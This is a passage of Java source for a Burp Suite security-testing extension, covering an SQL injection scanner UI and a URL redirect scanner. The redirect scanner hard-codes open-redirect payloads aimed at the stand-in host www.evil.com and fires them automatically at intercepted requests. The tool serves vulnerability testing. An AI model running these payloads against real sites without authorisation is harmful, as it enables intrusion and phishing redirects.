(sqlErrorKeyTextAreaText.isEmpty()) { return; } SqlBean sqlBean = new SqlBean("sqlErrorKey", sqlErrorKeyTextAreaText); saveSql(sqlBean); } // 获取所有报错关键字 List sqlErrorKey = getSqlListsByType("sqlErrorKey"); for (SqlBean sqlBean : sqlErrorKey) { listErrorKey.add(sqlBean.getValue()); } sqlErrorKeyTextArea.updateUI(); JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.save_success"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE); } }); // 被动扫描选择框事件 passiveScanCheckBox.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { if (passiveScanCheckBox.isSelected()) { isPassiveScan = true; } else { isPassiveScan = false; } } }); // 删除原始值选择框事件 deleteOriginalValueCheckBox.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { if (deleteOriginalValueCheckBox.isSelected()) { isDeleteOrgin = true; } else { isDeleteOrgin = false; } } }); // 检测cookie选择框事件 checkCookieCheckBox.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { if (checkCookieCheckBox.isSelected()) { isCheckCookie = true; } else { isCheckCookie = false; } } }); // 检测header选择框事件 checkHeaderCheckBox.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { if (checkHeaderCheckBox.isSelected()) { isCheckHeader = true; } else { isCheckHeader = false; } } }); // 白名单域名检测选择框事件 checkWhiteListCheckBox.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { if (checkWhiteListCheckBox.isSelected()) { isWhiteDomain = true; } else { isWhiteDomain = false; } } }); // isUrlEncode urlEncodeCheckBox.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { if (urlEncodeCheckBox.isSelected()) { isUrlEncode = true; } else { isUrlEncode = false; } } }); // 数据库获取payload,输出到面板 List sqlList = getSqlListsByType("payload"); for (SqlBean sqlBean : sqlList) { // 如果是最后一个,就不加换行符 if (sqlList.indexOf(sqlBean) == sqlList.size() - 1) { sqlPayloadTextArea.setText(sqlPayloadTextArea.getText() + sqlBean.getValue()); break; } sqlPayloadTextArea.setText(sqlPayloadTextArea.getText() + sqlBean.getValue() + "\n"); } // 数据库获取header,输出到面板 List header = getSqlListsByType("header"); for (SqlBean sqlBean : header) { // 如果是最后一个,就不加换行符 if (header.indexOf(sqlBean) == header.size() - 1) { headerTextArea.setText(headerTextArea.getText() + sqlBean.getValue()); break; } headerTextArea.setText(headerTextArea.getText() + sqlBean.getValue() + "\n"); } // 数据库获取白名单域名,输出到面板 List domains = getSqlListsByType("domain"); for (SqlBean sqlBean : domains) { // 如果是最后一个,就不加换行符 if (domains.indexOf(sqlBean) == domains.size() - 1) { whiteListTextArea.setText(whiteListTextArea.getText() + sqlBean.getValue()); break; } whiteListTextArea.setText(whiteListTextArea.getText() + sqlBean.getValue() + "\n"); } // sqlErrorKeyTextArea List sqlErrorKey = getSqlListsByType("sqlErrorKey"); for (SqlBean sqlBean : sqlErrorKey) { // 如果是最后一个,就不加换行符 if (sqlErrorKey.indexOf(sqlBean) == sqlErrorKey.size() - 1) { sqlErrorKeyTextArea.setText(sqlErrorKeyTextArea.getText() + sqlBean.getValue()); break; } sqlErrorKeyTextArea.setText(sqlErrorKeyTextArea.getText() + sqlBean.getValue() + "\n"); } } private void setupUI() { // 注册被动扫描监听器 Utils.callbacks.registerHttpListener(this); panel = new JPanel(); panel.setLayout(new BorderLayout()); // 左边的面板 // 左边的上下分割 上部分和下部分占比6:4 JSplitPane leftSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); leftSplitPane.setResizeWeight(0.6); leftSplitPane.setDividerLocation(0.6); // 左边的上部分左右对称分割 JSplitPane zsSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT); zsSplitPane.setResizeWeight(0.5); zsSplitPane.setDividerLocation(0.5); // 添加到leftSplitPane // 左右对称分割面板 // 添加到zsSplitPane urltablescrollpane = new JScrollPane(); zsSplitPane.setLeftComponent(urltablescrollpane); UrlModel urlModel = new UrlModel(); urltable = new URLTable(urlModel); urltablescrollpane.setViewportView(urltable); // 创建一个自定义的单元格渲染器 DefaultTableCellRenderer renderer = new DefaultTableCellRenderer() { @Override public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) { JLabel label = (JLabel) super.getTableCellRendererComponent(table, value, isSelected, hasFocus, row, column); label.setHorizontalAlignment(JLabel.CENTER); label.setHorizontalTextPosition(JLabel.CENTER); label.setIconTextGap(0); label.setMaximumSize(new Dimension(Integer.MAX_VALUE, label.getPreferredSize().height)); label.setToolTipText((String) value); // 设置鼠标悬停时显示的提示文本 return label; } }; // 表格渲染 urltable.getColumnModel().getColumn(4).setCellRenderer(renderer); payloadtablescrollpane = new JScrollPane(); zsSplitPane.setRightComponent(payloadtablescrollpane); PayloadModel payloadModel = new PayloadModel(); payloadtable = new PayloadTable(payloadModel); payloadtablescrollpane.setViewportView(payloadtable); // 表格渲染 payloadtable.getColumnModel().getColumn(0).setCellRenderer(renderer); // 左边的下部分左右对称分割 JSplitPane zxSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT); zxSplitPane.setResizeWeight(0.5); zxSplitPane.setDividerLocation(0.5); // 添加到leftSplitPane下面 HRequestTextEditor = Utils.callbacks.createMessageEditor(SqlUI.this, true); HResponseTextEditor = Utils.callbacks.createMessageEditor(SqlUI.this, false); tabbedPanereq = new JTabbedPane(); tabbedPanereq.addTab("Request", HRequestTextEditor.getComponent()); tabbedPaneresp = new JTabbedPane(); tabbedPaneresp.addTab("Response", HResponseTextEditor.getComponent()); zxSplitPane.setLeftComponent(tabbedPanereq); zxSplitPane.setRightComponent(tabbedPaneresp); leftSplitPane.setLeftComponent(zsSplitPane); leftSplitPane.setRightComponent(zxSplitPane); // 右边的上下按7:3分割 JSplitPane rightSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); rightSplitPane.setResizeWeight(0.7); rightSplitPane.setDividerLocation(0.7); // 右边的上部分 // 添加被动扫描选择框 passiveScanCheckBox = new JCheckBox(I18nUtils.get("sql.checkbox.passive")); // 添加删除原始值选择框 deleteOriginalValueCheckBox = new JCheckBox(I18nUtils.get("sql.checkbox.delete_original")); // 添加检测cookie选择框 checkCookieCheckBox = new JCheckBox(I18nUtils.get("sql.checkbox.check_cookie")); // 添加检测header选择框 checkHeaderCheckBox = new JCheckBox(I18nUtils.get("sql.checkbox.check_header")); // 添加白名单域名检测选择框 checkWhiteListCheckBox = new JCheckBox(I18nUtils.get("sql.checkbox.whitelist")); urlEncodeCheckBox = new JCheckBox(I18nUtils.get("sql.checkbox.url_encode")); // 白名单域名保存按钮 saveWhiteListButton = new JButton(I18nUtils.get("sql.button.save_whitelist")); // 保存header按钮 saveHeaderListButton = new JButton(I18nUtils.get("sql.button.save_header")); // 白名单域名输入框列表 whiteListTextArea = new JTextArea(5, 10); whiteListTextArea.setLineWrap(false); // 自动换行 whiteListTextArea.setWrapStyleWord(false); // 按单词换行 JScrollPane whiteListTextAreascrollPane = new JScrollPane(whiteListTextArea); // header检测数据框列表 headerTextArea = new JTextArea(5, 10); headerTextArea.setLineWrap(true); // 自动换行 headerTextArea.setWrapStyleWord(true); // 按单词换行 JScrollPane headerTextAreascrollPane = new JScrollPane(headerTextArea); // 刷新表格按钮 refreshTableButton = new JButton(I18nUtils.get("sql.button.refresh")); // 清空表格按钮 clearTableButton = new JButton(I18nUtils.get("sql.button.clear")); // 白名单域名label JLabel whiteDomainListLabel = new JLabel(I18nUtils.get("sql.label.whitelist")); // 检测header label JLabel headerLabel = new JLabel(I18nUtils.get("sql.label.header")); booleanBlindCheckBox = new JCheckBox(I18nUtils.get("sql.checkbox.boolean_blind")); // 添加到右边的上部分 - 重新设计布局 JPanel rightTopPanel = new JPanel(); rightTopPanel.setLayout(new BorderLayout()); rightTopPanel.setBorder(BorderFactory.createEmptyBorder(5, 5, 5, 5)); // 创建扫描选项面板 JPanel scanOptionsPanel = new JPanel(); scanOptionsPanel.setLayout(new GridLayout(2, 3, 5, 5)); scanOptionsPanel.setBorder(BorderFactory.createTitledBorder(I18nUtils.get("sql.border.scan_options"))); scanOptionsPanel.add(passiveScanCheckBox); scanOptionsPanel.add(deleteOriginalValueCheckBox); scanOptionsPanel.add(checkCookieCheckBox); scanOptionsPanel.add(checkHeaderCheckBox); scanOptionsPanel.add(checkWhiteListCheckBox); scanOptionsPanel.add(urlEncodeCheckBox); scanOptionsPanel.add(booleanBlindCheckBox); // 创建配置面板 JPanel configPanel = new JPanel(); configPanel.setLayout(new BorderLayout(5, 5)); configPanel.setBorder(BorderFactory.createTitledBorder(I18nUtils.get("sql.border.configuration"))); // 白名单域名配置 JPanel whitelistPanel = new JPanel(new BorderLayout(5, 5)); whitelistPanel.add(whiteDomainListLabel, BorderLayout.NORTH); whitelistPanel.add(whiteListTextAreascrollPane, BorderLayout.CENTER); JPanel whitelistButtonPanel = new JPanel(new FlowLayout(FlowLayout.LEFT)); whitelistButtonPanel.add(saveWhiteListButton); whitelistPanel.add(whitelistButtonPanel, BorderLayout.SOUTH); // Header检测配置 JPanel headerPanel = new JPanel(new BorderLayout(5, 5)); headerPanel.add(headerLabel, BorderLayout.NORTH); headerPanel.add(headerTextAreascrollPane, BorderLayout.CENTER); JPanel headerButtonPanel = new JPanel(new FlowLayout(FlowLayout.LEFT)); headerButtonPanel.add(saveHeaderListButton); headerPanel.add(headerButtonPanel, BorderLayout.SOUTH); // 将白名单和Header配置放入分割面板 JSplitPane configSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); configSplitPane.setResizeWeight(0.5); configSplitPane.setDividerLocation(0.5); configSplitPane.setTopComponent(whitelistPanel); configSplitPane.setBottomComponent(headerPanel); configPanel.add(configSplitPane, BorderLayout.CENTER); // 创建操作按钮面板 JPanel actionButtonsPanel = new JPanel(new FlowLayout(FlowLayout.LEFT, 5, 5)); actionButtonsPanel.setBorder(BorderFactory.createTitledBorder(I18nUtils.get("sql.border.actions"))); actionButtonsPanel.add(refreshTableButton); actionButtonsPanel.add(clearTableButton); // 将所有面板放入主面板 JSplitPane mainRightSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); mainRightSplitPane.setResizeWeight(0.3); mainRightSplitPane.setDividerLocation(0.3); mainRightSplitPane.setTopComponent(scanOptionsPanel); JPanel configAndActionsPanel = new JPanel(new BorderLayout(5, 5)); configAndActionsPanel.add(configPanel, BorderLayout.CENTER); configAndActionsPanel.add(actionButtonsPanel, BorderLayout.SOUTH); mainRightSplitPane.setBottomComponent(configAndActionsPanel); rightTopPanel.add(mainRightSplitPane, BorderLayout.CENTER); rightSplitPane.setTopComponent(rightTopPanel); // 右边的下部分左边 // sql payload label JLabel sqlPayloadLabel = new JLabel(I18nUtils.get("sql.label.payload")); // sqlpayload输入框 // sqlpayload保存按钮 sqlPayloadTextArea = new JTextArea(5, 10); sqlPayloadTextArea.setLineWrap(false); // 自动换行 sqlPayloadTextArea.setWrapStyleWord(false); // 按单词换行 JScrollPane sqlPayloadTextAreascrollPane = new JScrollPane(sqlPayloadTextArea); saveSqlPayloadButton = new JButton(I18nUtils.get("sql.button.save_payload")); JPanel rightDownLeftPanel = new JPanel(); rightDownLeftPanel.setLayout(new BorderLayout()); rightDownLeftPanel.add(sqlPayloadLabel, BorderLayout.NORTH); rightDownLeftPanel.add(sqlPayloadTextAreascrollPane, BorderLayout.CENTER); rightDownLeftPanel.add(saveSqlPayloadButton, BorderLayout.SOUTH); // 右边的下部分左边 JLabel sqlErrKey = new JLabel(I18nUtils.get("sql.label.error_key")); sqlErrorKeyTextArea = new JTextArea(5, 10); sqlErrorKeyTextArea.setLineWrap(false); // 自动换行 sqlErrorKeyTextArea.setWrapStyleWord(false); // 按单词换行 JScrollPane sqlErrorKeyTextAreascrollPane = new JScrollPane(sqlErrorKeyTextArea); saveSqlErrorKeyButton = new JButton(I18nUtils.get("sql.button.save_error_key")); JPanel rightDownRightPanel = new JPanel(); rightDownRightPanel.setLayout(new BorderLayout()); rightDownRightPanel.add(sqlErrKey, BorderLayout.NORTH); rightDownRightPanel.add(sqlErrorKeyTextAreascrollPane, BorderLayout.CENTER); rightDownRightPanel.add(saveSqlErrorKeyButton, BorderLayout.SOUTH); // 左右分割面板添加rightDownLeftPanel和rightDownRightPanel JSplitPane rightDownPanel = new JSplitPane(JSplitPane.VERTICAL_SPLIT); rightDownPanel.setResizeWeight(0.5); rightDownPanel.setDividerLocation(0.5); rightDownPanel.setTopComponent(rightDownLeftPanel); rightDownPanel.setBottomComponent(rightDownRightPanel); rightSplitPane.setBottomComponent(rightDownPanel); panel.add(leftSplitPane, BorderLayout.CENTER); panel.add(rightSplitPane, BorderLayout.EAST); } @Override public JPanel getPanel(IBurpExtenderCallbacks callbacks) { return panel; } @Override public String getTabName() { return "SqlInject"; } // url 实体类 public static class UrlEntry { final int id; final String method; final String url; final int length; final String status; final IHttpRequestResponse requestResponse; UrlEntry(int id, String method, String url, int length, String status, IHttpRequestResponse requestResponse) { this.id = id; this.method = method; this.url = url; this.length = length; this.status = status; this.requestResponse = requestResponse; } } // payload 实体类 public static class PayloadEntry { final int selectId; final String key; final String value; final int length; final String change; final String errkey; final String time; final String status; final IHttpRequestResponse requestResponse; PayloadEntry(int selectId, String key, String value, int length, String change, String errkey, String time, String status, IHttpRequestResponse requestResponse) { this.selectId = selectId; this.key = key; this.value = value; this.length = length; this.change = change; this.errkey = errkey; this.time = time; this.status = status; this.requestResponse = requestResponse; } } // url 模型 static class UrlModel extends AbstractTableModel { @Override public int getRowCount() { return urldata.size(); } @Override public int getColumnCount() { return 5; } @Override public Object getValueAt(int rowIndex, int columnIndex) { switch (columnIndex) { case 0: return urldata.get(rowIndex).id; case 1: return urldata.get(rowIndex).method; case 2: return urldata.get(rowIndex).url; case 3: return urldata.get(rowIndex).length; case 4: return urldata.get(rowIndex).status; default: return null; } } @Override public String getColumnName(int column) { switch (column) { case 0: return "id"; case 1: return "method"; case 2: return "url"; case 3: return "length"; case 4: return "status"; default: return null; } } @Override public Class getColumnClass(int column) { if (column == 0) { return Integer.class; } return super.getColumnClass(column); } } // Payload 模型 static class PayloadModel extends AbstractTableModel { @Override public int getRowCount() { return payloaddata.size(); } @Override public int getColumnCount() { return 7; } @Override public Object getValueAt(int rowIndex, int columnIndex) { switch (columnIndex) { case 0: return payloaddata.get(rowIndex).key; case 1: return payloaddata.get(rowIndex).value; case 2: return payloaddata.get(rowIndex).length; case 3: return payloaddata.get(rowIndex).change; case 4: return payloaddata.get(rowIndex).errkey; case 5: return payloaddata.get(rowIndex).time; case 6: return payloaddata.get(rowIndex).status; default: return null; } } @Override public String getColumnName(int column) { switch (column) { case 0: return "Parameter"; case 1: return "Value"; case 2: return "Response Length"; case 3: return "Change"; case 4: return "Error"; case 5: return "Time"; case 6: return "Status Code"; default: return null; } } } // url 表格 private class URLTable extends JTable { public URLTable(AbstractTableModel model) { super(model); setAutoCreateRowSorter(true); TableColumnModel columnModel = getColumnModel(); columnModel.getColumn(0).setMaxWidth(50); columnModel.getColumn(1).setMaxWidth(100); } @Override public void changeSelection(int rowIndex, int columnIndex, boolean toggle, boolean extend) { // 如果表格已排序,需要将视图索引转换为模型索引 int modelRow = rowIndex; if (getRowSorter() != null) { modelRow = convertRowIndexToModel(rowIndex); } UrlEntry logEntry = urldata.get(modelRow); int select_id = logEntry.id; payloaddata.clear(); for (PayloadEntry payloadEntry : payloaddata2) { if (payloadEntry.selectId == select_id) { payloaddata.add(payloadEntry); } } payloadtable.updateUI(); model.fireTableRowsInserted(payloaddata.size(), payloaddata.size()); model.fireTableDataChanged(); HRequestTextEditor.setMessage(logEntry.requestResponse.getRequest(), true); if (logEntry.requestResponse.getResponse() == null) { HResponseTextEditor.setMessage(new byte[0], false); } else { HResponseTextEditor.setMessage(logEntry.requestResponse.getResponse(), false); } currentlyDisplayedItem = logEntry.requestResponse; super.changeSelection(rowIndex, columnIndex, toggle, extend); } } // payload 表格 private class PayloadTable extends JTable { public PayloadTable(AbstractTableModel model) { super(model); TableColumnModel columnModel = getColumnModel(); columnModel.getColumn(0).setMaxWidth(50); columnModel.getColumn(6).setMaxWidth(50); } @Override public void changeSelection(int rowIndex, int columnIndex, boolean toggle, boolean extend) { PayloadEntry dataEntry = payloaddata.get(rowIndex); HRequestTextEditor.setMessage(dataEntry.requestResponse.getRequest(), true); if (dataEntry.requestResponse.getResponse() == null) { HResponseTextEditor.setMessage(new byte[0], false); } else { HResponseTextEditor.setMessage(dataEntry.requestResponse.getResponse(), false); } currentlyDisplayedItem = dataEntry.requestResponse; super.changeSelection(rowIndex, columnIndex, toggle, extend); } } } ================================================ FILE: src/main/java/burp/ui/UIHandler.java ================================================ package burp.ui; import burp.IBurpExtenderCallbacks; import javax.swing.*; public interface UIHandler { void init(); JPanel getPanel(IBurpExtenderCallbacks callbacks); String getTabName(); } ================================================ FILE: src/main/java/burp/ui/UIHepler/GridBagConstraintsHelper.java ================================================ package burp.ui.UIHepler; import java.awt.*; /** * @Author Xm17 * @Date 2024-06-14 10:50 */ public class GridBagConstraintsHelper extends GridBagConstraints { /** * */ private static final long serialVersionUID = 1L; /** * 指定组件起始网格的构造函数 * * @param gridx 水平方向上的起始网格 * @param gridy 竖直方向上的起始网格 */ public GridBagConstraintsHelper(int gridx, int gridy) { this.gridx = gridx; this.gridy = gridy; } /** * 指定组件起始网格与跨度的构造函数 * * @param gridx 水平方向起始网格 * @param gridy 竖直方向起始网格 * @param gridwidth 水平方向占据的网格数目 * @param gridheight 竖直方向占据的网格数目 */ public GridBagConstraintsHelper(int gridx, int gridy, int gridwidth, int gridheight) { this.gridx = gridx; this.gridy = gridy; this.gridwidth = gridwidth; this.gridheight = gridheight; } /** * 设置组件在网格中的摆放方式 * * @param anchor 组件的摆放方式 * @return 当前操作对象 */ public GridBagConstraintsHelper setAnchor(int anchor) { this.anchor = anchor; return this; } /** * 设置组件在网格中的拉伸方式 * * @param fill 组件的拉伸方式 * @return 当前操作对象 */ public GridBagConstraintsHelper setFill(int fill) { this.fill = fill; return this; } /** * 设置网格的拉伸程度 * * @param weightx 水平方向的拉伸程度 * @param weighty 竖直方向的拉伸程度 * @return 当前操作对象 */ public GridBagConstraintsHelper setWeight(double weightx, double weighty) { this.weightx = weightx; this.weighty = weighty; return this; } /** * 统一设置组件与网格四周的间隔 * * @param distance 四周的间隔长度 * @return 当前操作对象 */ public GridBagConstraintsHelper setInsets(int distance) { this.insets = new Insets(distance, distance, distance, distance); return this; } /** * 分别设置组件与网格四周的间隔 * * @param top 组件上方与网格的距离 * @param left 组件左方与网格的距离 * @param bottom 组件下方与网格的距离 * @param right 组件右方与网格的距离 * @return 当前操作对象 */ public GridBagConstraintsHelper setInsets(int top, int left, int bottom, int right) { this.insets = new Insets(top, left, bottom, right); return this; } /** * 设置组件拉伸长度 * * @param ipadx 水平方向拉伸的长度 * @param ipady 竖直方向拉伸的长度 * @return 当前操作对象 */ public GridBagConstraintsHelper setIpad(int ipadx, int ipady) { this.ipadx = ipadx; this.ipady = ipady; return this; } } ================================================ FILE: src/main/java/burp/ui/UrlRedirectUI.java ================================================ package burp.ui; import burp.*; import burp.utils.I18nUtils; import burp.utils.Utils; import javax.swing.*; import javax.swing.table.AbstractTableModel; import javax.swing.table.DefaultTableModel; import javax.swing.table.TableModel; import java.awt.*; import java.awt.event.ActionEvent; import java.io.BufferedReader; import java.io.File; import java.io.FileReader; import java.net.URL; import java.util.*; import java.util.List; import java.util.concurrent.locks.Lock; import java.util.concurrent.locks.ReentrantLock; import java.util.regex.Pattern; /** * URL重定向扫描UI类 * 实现了UIHandler和IMessageEditorController接口 */ public class UrlRedirectUI implements UIHandler, IMessageEditorController, IHttpListener { // UI组件 private JPanel mainPanel; // 主面板 private static JTable urlTable; // URL表格 private JButton btnClear; // 清除按钮 private JTabbedPane requestPane; // 请求面板 private JTabbedPane responsePane; // 响应面板 private JCheckBox chkPassiveScan; // 被动扫描开关 // Burp组件 private static IHttpRequestResponse currentlyDisplayedItem; // 当前显示的请求/响应 private static IMessageEditor requestViewer; // 请求查看器 private static IMessageEditor responseViewer; // 响应查看器 // 数据存储 private static final List redirectLog = new ArrayList<>(); // 重定向日志 private static final Lock lock = new ReentrantLock(); // 线程锁 // 设置组件 private static DefaultTableModel payloadModel; // payload表格模型 private static DefaultTableModel paramModel; // 参数表格模型 @Override public void init() { setupUI(); // 初始化UI setupData(); // 初始化数据 } /** * 初始化UI组件 */ private void setupUI() { Utils.callbacks.registerHttpListener(this); mainPanel = new JPanel(new BorderLayout()); // 创建主水平分割面板 JSplitPane horizontalSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT); horizontalSplitPane.setResizeWeight(0.8); // 左侧占80%的空间 // 左侧面板(包含表格和查看器) JPanel leftPanel = new JPanel(new BorderLayout()); // 创建顶部面板,包含清除按钮和被动扫描开关 JPanel topPanel = new JPanel(new FlowLayout(FlowLayout.RIGHT)); chkPassiveScan = new JCheckBox(I18nUtils.get("redirect.checkbox.passive"), false); // 默认开启 btnClear = new JButton(I18nUtils.get("redirect.button.clear")); topPanel.add(chkPassiveScan); topPanel.add(btnClear); leftPanel.add(topPanel, BorderLayout.NORTH); // 设置主要内容区域,包含表格和查看器 JSplitPane leftSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); leftSplitPane.setResizeWeight(0.5); // 设置URL表格 urlTable = new RedirectTable(new RedirectModel()); urlTable.setAutoCreateRowSorter(true); leftSplitPane.setTopComponent(new JScrollPane(urlTable)); // 设置请求/响应查看器 JSplitPane viewerSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT); viewerSplitPane.setResizeWeight(0.5); setupViewers(viewerSplitPane); leftSplitPane.setBottomComponent(viewerSplitPane); leftPanel.add(leftSplitPane, BorderLayout.CENTER); // 右侧设置面板 JPanel rightPanel = setupSettingsPanel(); // 设置右侧面板最小宽度 rightPanel.setMinimumSize(new Dimension(250, 400)); rightPanel.setPreferredSize(new Dimension(250, 400)); // 将左右面板添加到水平分割面板 horizontalSplitPane.setLeftComponent(leftPanel); horizontalSplitPane.setRightComponent(rightPanel); // 设置分割面板的分隔条位置 horizontalSplitPane.setDividerLocation(0.8); horizontalSplitPane.setResizeWeight(0.8); mainPanel.add(horizontalSplitPane, BorderLayout.CENTER); // 设置整个面板的首选大小 mainPanel.setPreferredSize(new Dimension(1200, 800)); } /** * 设置请求响应查看器 */ private void setupViewers(JSplitPane viewerSplitPane) { requestPane = new JTabbedPane(); responsePane = new JTabbedPane(); requestViewer = Utils.callbacks.createMessageEditor(this, false); responseViewer = Utils.callbacks.createMessageEditor(this, false); requestPane.addTab("Request", requestViewer.getComponent()); responsePane.addTab("Response", responseViewer.getComponent()); viewerSplitPane.setLeftComponent(requestPane); viewerSplitPane.setRightComponent(responsePane); } /** * 生成重定向测试payload */ private static List generateRedirectPayloads(String host) { List payloads = new ArrayList<>(); // 从payload表格中获取所有payload for (int i = 0; i < payloadModel.getRowCount(); i++) { payloads.add((String) payloadModel.getValueAt(i, 0)); } // 如果没有自定义payload,使用默认payload if (payloads.isEmpty()) { payloads.addAll(Arrays.asList( "https://" + host + "%40www.evil.com", "https://www.evil.com%2F" + host, "https://www.evil.com%3F" + host, "https://www.evil.com%23" + host, "https://www.evil.com%5C" + host, "https://www.evil.com%2E" + host, "//www.evil.com", "http://www.evil.com", "https://www.evil.com" )); } return payloads; } /** * 设置配置面板 */ private JPanel setupSettingsPanel() { JPanel settingsPanel = new JPanel(); settingsPanel.setLayout(new BoxLayout(settingsPanel, BoxLayout.Y_AXIS)); settingsPanel.setBorder(BorderFactory.createTitledBorder(I18nUtils.get("redirect.border.settings"))); // 创建表格模型 paramModel = new DefaultTableModel(new String[]{I18nUtils.get("redirect.label.parameter")}, 0); payloadModel = new DefaultTableModel(new String[]{I18nUtils.get("redirect.label.payloads")}, 0); // 设置默认参数 String[] defaultParams = { "redirect","redirect_to","url","jump","target","to","link","goto","return_url","next","returnUrl","return","redirectUrl","callback","toUrl","ReturnUrl","fromUrl","redUrl","request","redirect_url","jump_to","linkto","domain","oauth_callback" }; // 设置默认payload String[] defaultPayloads = { }; // 创建并添加面板(带默认值) settingsPanel.add(createInputPanel("Parameters", paramModel, defaultParams)); settingsPanel.add(createInputPanel("Payloads", payloadModel, defaultPayloads)); // 设置最小宽度以防止组件被压缩 settingsPanel.setMinimumSize(new Dimension(250, 400)); settingsPanel.setPreferredSize(new Dimension(250, 400)); return settingsPanel; } /** * 创建输入面板 * * @param title 面板标题 * @param model 表格模型 * @param defaultValues 默认值 * @return 配置面板 */ private JPanel createInputPanel(String title, DefaultTableModel model, String... defaultValues) { // 创建主面板,使用BorderLayout布局 JPanel panel = new JPanel(new BorderLayout()); panel.setBorder(BorderFactory.createTitledBorder(title)); // 创建输入和按钮面板,使用固定大小 JPanel inputPanel = new JPanel(); inputPanel.setLayout(new BoxLayout(inputPanel, BoxLayout.X_AXIS)); inputPanel.setMinimumSize(new Dimension(200, 30)); inputPanel.setPreferredSize(new Dimension(200, 30)); // 创建输入框 final JTextField inputField = new JTextField(20); inputField.setMinimumSize(new Dimension(120, 25)); inputField.setPreferredSize(new Dimension(120, 25)); // 添加回车键监听 inputField.addActionListener(e -> { String value = inputField.getText().trim(); if (!value.isEmpty()) { // 检查是否重复 boolean isDuplicate = false; for (int i = 0; i < model.getRowCount(); i++) { if (value.equals(model.getValueAt(i, 0))) { isDuplicate = true; break; } } if (!isDuplicate) { model.addRow(new Object[]{value}); inputField.setText(""); } } }); inputPanel.add(inputField); inputPanel.add(Box.createHorizontalStrut(5)); // 添加间隔 // 创建按钮面板 JPanel buttonPanel = new JPanel(new FlowLayout(FlowLayout.RIGHT, 2, 0)); JButton addBtn = new JButton(I18nUtils.get("redirect.button.add")); JButton clearBtn = new JButton(I18nUtils.get("redirect.button.clear")); buttonPanel.add(addBtn); buttonPanel.add(clearBtn); inputPanel.add(buttonPanel); // 创建表格面板 JTable table = new JTable(model); // 设置表格可以选择整行 table.setSelectionMode(ListSelectionModel.SINGLE_SELECTION); JScrollPane tableScroll = new JScrollPane(table); tableScroll.setMinimumSize(new Dimension(200, 100)); // 添加组件到主面板 panel.add(inputPanel, BorderLayout.NORTH); panel.add(tableScroll, BorderLayout.CENTER); // 添加按钮事件监听 addBtn.addActionListener(e -> { String value = inputField.getText().trim(); if (!value.isEmpty()) { // 检查是否重复 boolean isDuplicate = false; for (int i = 0; i < model.getRowCount(); i++) { if (value.equals(model.getValueAt(i, 0))) { isDuplicate = true; break; } } if (!isDuplicate) { model.addRow(new Object[]{value}); inputField.setText(""); } } }); clearBtn.addActionListener(e -> { model.setRowCount(0); inputField.setText(""); // 如果有默认值,重新添加 if (defaultValues != null) { for (String value : defaultValues) { model.addRow(new Object[]{value}); } } }); // 添加默认值到表格 if (defaultValues != null) { for (String value : defaultValues) { model.addRow(new Object[]{value}); } } return panel; } /** * 初始化数据和事件监听 */ private void setupData() { // 清除按钮事件 btnClear.addActionListener(e -> { redirectLog.clear(); requestViewer.setMessage(new byte[0], true); responseViewer.setMessage(new byte[0], false); urlTable.updateUI(); }); } /** * 核心扫描逻辑 */ public static void scan(IHttpRequestResponse baseRequestResponse) { lock.lock(); try { IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); String method = analyzeRequest.getMethod(); URL url = analyzeRequest.getUrl(); // 检查URL是否在排除列表中 if (Utils.isUrlBlackListSuffix(url.toString())) { return; } // 生成并测试重定向payload List redirectPayloads = generateRedirectPayloads(url.getHost()); for (String payload : redirectPayloads) { testRedirect(baseRequestResponse, payload, method); } } finally { lock.unlock(); } } /** * 测试重定向 * @param baseRequestResponse 原始的请求响应对 * @param payload 要测试的payload * @param method HTTP方法 */ private static void testRedirect(IHttpRequestResponse baseRequestResponse, String payload, String method) { IRequestInfo requestInfo = Utils.helpers.analyzeRequest(baseRequestResponse); // 获取当前请求中的所有参数 List parameters = requestInfo.getParameters(); // 获取配置的测试参数列表 List testParams = new ArrayList<>(); for (int i = 0; i < paramModel.getRowCount(); i++) { testParams.add((String) paramModel.getValueAt(i, 0)); } // 如果没有配置参数,使用默认参数 if (testParams.isEmpty()) { testParams.addAll(Arrays.asList( "redirect","redirect_to","url","jump","target","to","link","goto","return_url","next","returnUrl","return","redirectUrl","callback","toUrl","ReturnUrl","fromUrl","redUrl","request","redirect_url","jump_to","linkto","domain","oauth_callback" )); } // 遍历当前请求中的所有参数 for (IParameter parameter : parameters) { // 只处理URL参数 if (parameter.getType() != IParameter.PARAM_URL) { continue; } // 检查参数名是否在测试列表中 if (testParams.contains(parameter.getName())) { // 构建新的参数值(使用payload替换原值) IParameter newParam = Utils.helpers.buildParameter( parameter.getName(), payload, IParameter.PARAM_URL ); // 更新请求参数 byte[] newRequest = Utils.helpers.updateParameter( baseRequestResponse.getRequest(), newParam ); // 发送请求 IHttpRequestResponse response = Utils.callbacks.makeHttpRequest( baseRequestResponse.getHttpService(), newRequest ); // 检查响应 IResponseInfo responseInfo = Utils.helpers.analyzeResponse(response.getResponse()); // 判断是否存在漏洞:检查状态码和Location头 boolean isVulnerable = false; if (responseInfo.getStatusCode() == 302 || responseInfo.getStatusCode() == 301) { // 获取Location头 List headers = responseInfo.getHeaders(); for (String header : headers) { if (header.toLowerCase().startsWith("location:")) { String location = header.substring(9).trim(); // 检查location是否包含payload if (location.contains("evil.com")) { isVulnerable = true; break; } } } // 记录重定向发现 synchronized (redirectLog) { redirectLog.add(new RedirectEntry( redirectLog.size(), method, requestInfo.getUrl().toString(), parameter.getName(), 